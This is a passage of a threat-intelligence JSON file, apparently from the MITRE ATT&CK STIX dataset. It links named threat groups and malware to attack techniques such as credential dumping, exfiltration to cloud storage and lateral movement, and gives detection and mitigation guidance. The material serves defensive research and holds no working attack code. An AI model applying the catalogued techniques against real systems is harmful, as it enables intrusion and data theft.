organization.","relationship_type":"mitigates","source_ref":"course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d9e60fe-3a4b-4737-a712-d11ceca628d2","created":"2024-03-29T12:42:36.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T14:53:01.641Z","description":"Monitor for and analyze files which contain content with large entropy, as this may indicate potentially malicious compressed or encrypted data.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7da3b985-e6ab-4e29-aa53-30a621bd48d3","type":"relationship","created":"2019-07-18T16:52:10.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SensePost Outlook Forms","url":"https://sensepost.com/blog/2017/outlook-forms-and-shells/","description":"Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."},{"source_name":"SensePost Outlook Home Page","url":"https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/","description":"Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019."}],"modified":"2021-08-16T21:25:04.436Z","description":"For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7da97f5c-fd61-4181-9775-47abbd5250c0","type":"relationship","created":"2019-05-28T19:51:24.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"modified":"2019-05-30T17:23:30.636Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect anti-virus products during the initial infection.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7db7e464-272a-4c50-be2b-56586c664f39","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for queried domain name system (DNS) registry data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist GCMAN","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.","url":"https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"}],"modified":"2020-03-17T16:53:09.934Z","description":"[GCMAN](https://attack.mitre.org/groups/G0036) uses Putty for lateral movement.(Citation: Securelist GCMAN)","relationship_type":"uses","source_ref":"intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dba7706-128e-43a7-a240-6d456c9003a2","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"source_name":"CameraShy","description":"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.","url":"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"}],"modified":"2019-04-10T15:59:09.300Z","description":"(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--8c553311-0baa-4146-997a-f79acef3d831","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7dbfb31d-8ac7-44c5-ad9b-f22e07e95d7e","created":"2020-10-15T00:52:01.922Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cleaver](https://attack.mitre.org/groups/G0003) has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7dc3f129-9cac-4279-a4d2-b5dbe1237f07","created":"2019-04-17T13:46:38.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Astaroth Feb 2019","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T22:14:20.626Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","source_name":"Dell Lateral Movement"},{"url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","source_name":"ThreatStream Evasion Analysis"}],"modified":"2019-05-30T18:05:32.938Z","description":"(Citation: Dell Lateral Movement)(Citation: ThreatStream Evasion Analysis)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dc4f72f-c27b-4b7c-b380-23aa1162299a","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor Registry key modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"type":"relationship","id":"relationship--7dcbc85c-ab95-4b3f-9f4b-c52badc8a46a","created":"2024-09-23T21:41:04.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T21:38:39.800Z","description":"After initial execution, [BPFDoor](https://attack.mitre.org/software/S1161) forks itself and runs the fork with the `--init` flag, which allows it to execute secondary clean up operations. The parent process terminates leaving the forked process to be inherited by the legitimate process init.(Citation: Sandfly BPFDoor 2022)","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7dcf8536-cf47-4979-a3a2-cda656431edc","created":"2021-10-15T20:27:54.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"},{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-19T21:34:13.608Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used [Impacket](https://attack.mitre.org/software/S0357)’s WMIexec module for remote code execution and VBScript to run WMI queries.(Citation: Dragos Crashoverride 2018)(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dd11b5f-2f54-43a5-a2e1-9d33e24d89a0","type":"relationship","created":"2020-07-27T18:45:39.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-28T17:25:25.674Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can delete previously exfiltrated files from the compromised host.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dd2714d-aa8a-40ce-bae1-98634090ac01","type":"relationship","created":"2020-06-29T03:33:39.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T03:33:39.040Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used fsutil fsinfo drives to list connected drives.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7dd3aec9-79b3-4482-b45e-f76b498f57f4","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T14:23:19.700Z","description":"Monitor changes made to cloud services for unexpected modifications to settings and/or data.\n\nAnalytic 1 - Operations performed by unexpected initiators, frequent modifications, changes to critical resources\n\n index=\"azure_activity_logs\" OperationName=\"Create or update resource diagnostic setting\"\n| stats count by InitiatorName, ResourceID, Status\n| where Status!=\"Succeeded\" OR InitiatorName!=\"expected_initiator\"\n| sort by Time","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7dd876da-7f2b-4bdb-9cc1-424dd53dd6cd","created":"2022-09-07T14:47:39.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:48:49.893Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors exploited CVE-2017-11882 to execute code on the victim's machine.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dda2468-0344-48c5-8843-6655084d8159","type":"relationship","created":"2019-07-08T15:24:24.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T03:35:29.737Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used WebDAV to upload stolen USB files to a cloud drive.(Citation: Symantec Waterbug Jun 2019) [Turla](https://attack.mitre.org/groups/G0010) has also exfiltrated stolen files to OneDrive and 4shared.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7de06d58-79d0-43d5-b40e-d3e6d14c3211","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider analyzing newly constructed network connections that are sent or received by untrusted hosts, unexpcted hardware devices, or other uncommon data flows.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7de1c513-5141-45ed-aeb0-b1b221f4dc3f","type":"relationship","created":"2019-04-24T20:48:39.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."},{"description":"Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.","url":"https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door","source_name":"Symantec Frutas Feb 2013"}],"modified":"2019-06-24T17:20:24.390Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can browse file systems.(Citation: Kaspersky Adwind Feb 2016)(Citation: Symantec Frutas Feb 2013)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7de52577-a469-4d2c-8059-4c2e5c742150","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7de5afb6-3dbf-4c9a-876f-1f7a4aa9d4e0","type":"relationship","created":"2022-03-10T20:43:29.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 WhisperGate January 2022","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022."}],"modified":"2022-03-10T20:43:29.031Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can recognize the presence of monitoring tools on a target system.(Citation: Unit 42 WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ded147e-f252-490a-b0d7-d8b3492c84eb","type":"relationship","created":"2020-05-06T18:10:59.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T18:10:59.275Z","description":"[Kivars](https://attack.mitre.org/software/S0437) has the ability to conceal its activity through hiding active windows.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dee0645-9c39-4e04-8012-6ae10a449ae9","type":"relationship","created":"2020-09-11T13:27:44.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.380Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has been delivered via malicious links in phishing e-mails.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dee3da3-7e24-4dc5-811f-61fad028560b","type":"relationship","created":"2020-03-27T21:16:13.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:16:13.291Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7df01656-109b-49ad-a9e4-c1b89ba82508","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2020-03-20T01:49:51.174Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) uses the command prompt to execute commands on the victim's machine.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7dfa8cdd-102c-4ea6-9fe0-d2e76b688221","created":"2020-04-30T15:51:59.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020.","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:36:27.580Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) can encode its configuration file with single-byte XOR encoding.(Citation: Chronicle Winnti for Linux May 